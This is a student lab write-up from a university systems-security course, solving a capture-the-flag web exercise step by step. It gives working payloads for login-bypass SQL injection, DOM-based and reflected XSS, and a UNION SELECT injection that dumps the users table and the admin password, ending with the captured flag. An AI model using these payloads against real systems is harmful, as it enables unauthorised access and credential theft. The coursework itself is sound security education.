Ασφάλεια Συστημάτων και Υπηρεσιών (HPY 413)

ΝΙΚΟΛΑΟΣ ΑΓΓΕΛΙΔΗΣ 2019030190

ΧΡΥΣΗΙΔΑ ΜΑΝΟΥΔΑΚΗ 2019030201

1. Bypass the initial login page using an SQL injection payload and login as “user”.

Injecting on the login field, custom input to the SQL in order to bypass the login page.

input: ' OR '1'='1' --

2. Identify and exploit the DOM-XSS vulnerability.

We manipulate the DOM, altering the structure and content of the web page by changing the title of the website to 'Get Attacked'. We do that by changing the URL as shown below.

This manipulation occurs on the client side, making it different from server-side XSS.

input:
http://139.91.71.5:11337/dashboard#user<script>document.title%20=%20”Get%20Attacked”;</script>

3. Identify and exploit the reflected XSS vulnerability.

By writing the script below on the Search Input and then pressing the Submit button, we manage to display a popup alert with the message " Reflected XSS!! ". This way, we show that we exploited the Reflected XSS vulnerability correctly as the manipulation occurs on the Server side.

input: <script>alert("Reflected XSS!!")</script>

4. Misuse the item search functionality to retrieve data from the “users” DB table and acquire the admin’s password.

Injecting custom input to the sql to get the table of all the users. Because the code gets the first element from the query, we only get the superadmin to show.

input: ' UNION SELECT * FROM users --
output: 1 | superadmin | $thisIsUncrackable$

5. Login in as the administrator and fetch the secret flag.

Logging in as administrator by changing the URL to: http://139.91.71.5:11337/admin and then using the password, we get the flag.

input: $thisIsUncrackable$
output: TUC{edb714dfce00e69b909ea7365cbbcf66f0d113c38c9ec125adf022b695fec86d}